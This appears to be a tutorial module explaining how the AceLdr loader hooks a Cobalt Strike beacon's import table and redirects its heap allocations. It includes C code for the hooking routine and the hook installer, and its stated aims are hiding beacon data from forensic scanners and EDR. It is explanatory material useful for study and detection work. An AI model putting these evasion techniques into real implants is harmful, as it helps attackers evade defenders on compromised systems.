Module 6: IAT Hooking & Heap Redirection
Intercepting API calls to control beacon behavior from within
IntermediateWhy Hook the IAT?
Core Idea
After AceLdr reflectively loads the Cobalt Strike beacon into memory, the beacon's Import Address Table (IAT) contains pointers to Windows API functions. By overwriting specific IAT entries with pointers to our own hook functions, we gain control over every call the beacon makes to those APIs — without patching any code bytes in ntdll or kernel32.
This technique is critical because it lets AceLdr:
- Redirect heap allocations to a private heap (invisible to standard forensic tools)
- Spoof return addresses on sensitive API calls (covered in depth in Module 7)
- Intercept sleep calls to activate the FOLIAGE sleep mask (Module 8)
IAT Hooking vs. Inline Hooking
Unlike inline hooks (which patch the first bytes of a target function with a JMP), IAT hooks modify pointers in the caller's import table. This is stealthier because no executable code is modified — the target DLL remains pristine. The trade-off is that IAT hooks only intercept calls made through the import table of the specific module you patch.
The Six IAT Hooks
AceLdr installs exactly 6 hooks in the beacon's IAT. Each hook serves a distinct evasion purpose:
| Original API | Hook Function | Purpose |
|---|---|---|
Sleep |
Sleep_Hook |
Activates FOLIAGE sleep masking (encrypt heap, mask thread context) |
GetProcessHeap |
GetProcessHeap_Hook |
Returns AceLdr's private heap instead of the process default heap |
HeapAlloc |
HeapAlloc_Hook |
Spoofs the return address before calling the real HeapAlloc |
RtlAllocateHeap |
RtlAllocateHeap_Hook |
Spoofs the return address before calling the real RtlAllocateHeap |
InternetConnectA |
InternetConnectA_Hook |
Spoofs the return address before calling the real InternetConnectA |
NtWaitForSingleObject |
NtWaitForSingleObject_Hook |
Spoofs the return address before calling the real NtWaitForSingleObject |
Pattern Recognition
Notice the pattern: 4 out of 6 hooks exist solely to spoof return addresses. The remaining two serve specialized purposes — Sleep_Hook triggers the full FOLIAGE sleep chain, and GetProcessHeap_Hook redirects all beacon heap allocations to a private, controlled heap.
LdrHookImport — The Hook Installation Engine
The workhorse function that performs the actual IAT patching lives in util.c. It walks the beacon's import directory, finds the matching DLL and function, and overwrites the IAT entry:
C — util.c
VOID LdrHookImport(
PVOID Image, // Base address of the loaded beacon
ULONG ImpHash, // Hash of the DLL name (e.g., hash of "kernel32.dll")
ULONG FuncHash, // Hash of the function name (e.g., hash of "Sleep")
PVOID HookFunc // Pointer to our hook function
) {
PIMAGE_DOS_HEADER Dos = Image;
PIMAGE_NT_HEADERS Nt = (PVOID)((UINT_PTR)Image + Dos->e_lfanew);
PIMAGE_DATA_DIRECTORY Dir = &Nt->OptionalHeader.DataDirectory[1]; // IMPORT dir
// Walk each IMAGE_IMPORT_DESCRIPTOR
for (PIMAGE_IMPORT_DESCRIPTOR Imp = (PVOID)((UINT_PTR)Image + Dir->VirtualAddress);
Imp->Name != 0;
Imp++) {
// Check if this descriptor matches our target DLL
PCHAR DllName = (PCHAR)((UINT_PTR)Image + Imp->Name);
if (HashString(DllName) != ImpHash)
continue;
// Walk the Original First Thunk (names) and First Thunk (addresses)
PIMAGE_THUNK_DATA Oft = (PVOID)((UINT_PTR)Image + Imp->OriginalFirstThunk);
PIMAGE_THUNK_DATA Ft = (PVOID)((UINT_PTR)Image + Imp->FirstThunk);
for (; Oft->u1.AddressOfData != 0; Oft++, Ft++) {
// Skip ordinal imports
if (IMAGE_SNAP_BY_ORDINAL(Oft->u1.Ordinal))
continue;
PIMAGE_IMPORT_BY_NAME Ibn = (PVOID)((UINT_PTR)Image + Oft->u1.AddressOfData);
// If function name hash matches, overwrite the IAT entry
if (HashString(Ibn->Name) == FuncHash) {
Ft->u1.Function = (UINT_PTR)HookFunc;
return;
}
}
}
}
Step-by-Step Walkthrough
- Parse PE headers — Navigate from the DOS header to the NT headers, then to the Import Data Directory (index 1).
- Walk import descriptors — Each descriptor represents one DLL that the beacon imports from. Compare each DLL name's hash against
ImpHash. - Walk thunk arrays — The OriginalFirstThunk (OFT) array holds function name RVAs; the FirstThunk (FT) array holds the actual resolved function addresses (the IAT).
- Match & overwrite — When the function name hash matches
FuncHash, overwriteFt->u1.Functionwith the hook pointer. The beacon will now call our hook instead of the real API.
No VirtualProtect Needed
During reflective loading, AceLdr has already set the IAT section to PAGE_READWRITE. Since we control the memory permissions of the loaded beacon, there's no need to call VirtualProtect before overwriting — a step that would generate suspicious API call patterns visible to EDR.
GetProcessHeap_Hook — Heap Redirection
This is one of the simplest yet most impactful hooks. The entire implementation is a single line:
C — hooks/heap.c
HANDLE WINAPI GetProcessHeap_Hook(VOID) {
return C_PTR(STUB.Heap); // OFFSET macro resolves STUB.Heap at runtime
}
What This Achieves
Heap Redirection Flow
GetProcessHeap()GetProcessHeap_HookSTUB.HeapHeapAlloc(heap, ...)private heap
heap scanners
STUB.Heap is a private heap created earlier by AceLdr via RtlCreateHeap. By returning this handle instead of the process's default heap, every subsequent HeapAlloc/HeapFree call the beacon makes operates on our private heap. This has two benefits:
- Forensic evasion — Tools that scan the default process heap for beacon artifacts (strings, config data, C2 URLs) will find nothing. The beacon's data lives on a separate, unlisted heap.
- Sleep masking — During the FOLIAGE sleep mask, AceLdr can walk and encrypt only the private heap. Since all beacon allocations funnel through it, encryption is comprehensive and targeted.
The OFFSET Macro
Because AceLdr is position-independent code (PIC), it cannot use global variables directly. The C_PTR(STUB.Heap) pattern (and the OFFSET macro it typically wraps) calculates the runtime address of STUB.Heap relative to the current instruction pointer. This ensures the code works regardless of where it's loaded in memory.
installHooks — Wiring It All Together
After the beacon is reflectively loaded and its imports resolved, installHooks in ace.c calls LdrHookImport six times — once for each hook:
C — ace.c
VOID installHooks(PVOID BeaconBase) {
// Hook Sleep -> Sleep_Hook (FOLIAGE sleep masking)
LdrHookImport(BeaconBase,
HASH_KERNEL32, // DLL hash: "kernel32.dll"
HASH_SLEEP, // Function hash: "Sleep"
C_PTR(Sleep_Hook));
// Hook GetProcessHeap -> GetProcessHeap_Hook (private heap)
LdrHookImport(BeaconBase,
HASH_KERNEL32,
HASH_GETPROCESSHEAP,
C_PTR(GetProcessHeap_Hook));
// Hook HeapAlloc -> HeapAlloc_Hook (return addr spoofing)
LdrHookImport(BeaconBase,
HASH_KERNEL32,
HASH_HEAPALLOC,
C_PTR(HeapAlloc_Hook));
// Hook RtlAllocateHeap -> RtlAllocateHeap_Hook (return addr spoofing)
LdrHookImport(BeaconBase,
HASH_NTDLL, // DLL hash: "ntdll.dll"
HASH_RTLALLOCATEHEAP,
C_PTR(RtlAllocateHeap_Hook));
// Hook InternetConnectA -> InternetConnectA_Hook (return addr spoofing)
LdrHookImport(BeaconBase,
HASH_WININET, // DLL hash: "wininet.dll"
HASH_INTERNETCONNECTA,
C_PTR(InternetConnectA_Hook));
// Hook NtWaitForSingleObject -> NtWaitForSingleObject_Hook (return addr spoofing)
LdrHookImport(BeaconBase,
HASH_NTDLL,
HASH_NTWAITFORSINGLEOBJECT,
C_PTR(NtWaitForSingleObject_Hook));
}
The PTR_TO_HOOK Macro
In AceLdr's actual source code, some of these hook installations use the PTR_TO_HOOK macro for brevity:
C — macro definition
#define PTR_TO_HOOK(base, dll_hash, func_hash, hook_fn) \
LdrHookImport(base, dll_hash, func_hash, C_PTR(hook_fn))
This macro simply wraps LdrHookImport with the C_PTR wrapper on the hook function. It reduces visual noise when installing multiple hooks in sequence, but the underlying mechanism is identical.
Installation Order
The hooks are installed after reflective loading resolves all legitimate imports but before the beacon's entry point (DllMain) is called. This ensures that from the beacon's very first instruction, all API calls are already intercepted.
How IAT Hooking Fits the Big Picture
AceLdr Hook Architecture
Load
IAT Hooks
DllMain
(all calls hooked)
The IAT hooks are the control plane of AceLdr's evasion strategy. Without them, the beacon would use the default heap (visible to scanners), sleep without encryption (visible to memory scanners), and make API calls with legitimate return addresses pointing back into suspicious unbacked memory (visible to stack walkers).
Defense-in-Depth Through Hooks
- Layer 1: Heap isolation —
GetProcessHeap_Hookensures all beacon data is on a private heap - Layer 2: Return address spoofing — 4 hooks wrap calls with spoofed return addresses so stack traces look legitimate
- Layer 3: Sleep masking —
Sleep_Hooktriggers full FOLIAGE encryption before any sleep period
Knowledge Check
Module 6 Quiz
1. How many IAT entries does AceLdr overwrite in the beacon's import table?
2. What does GetProcessHeap_Hook return?
GetProcessHeap_Hook is a single-line function that returns STUB.Heap — a private heap created by AceLdr via RtlCreateHeap. This redirects all beacon allocations to a heap that is invisible to tools scanning the process's default heap.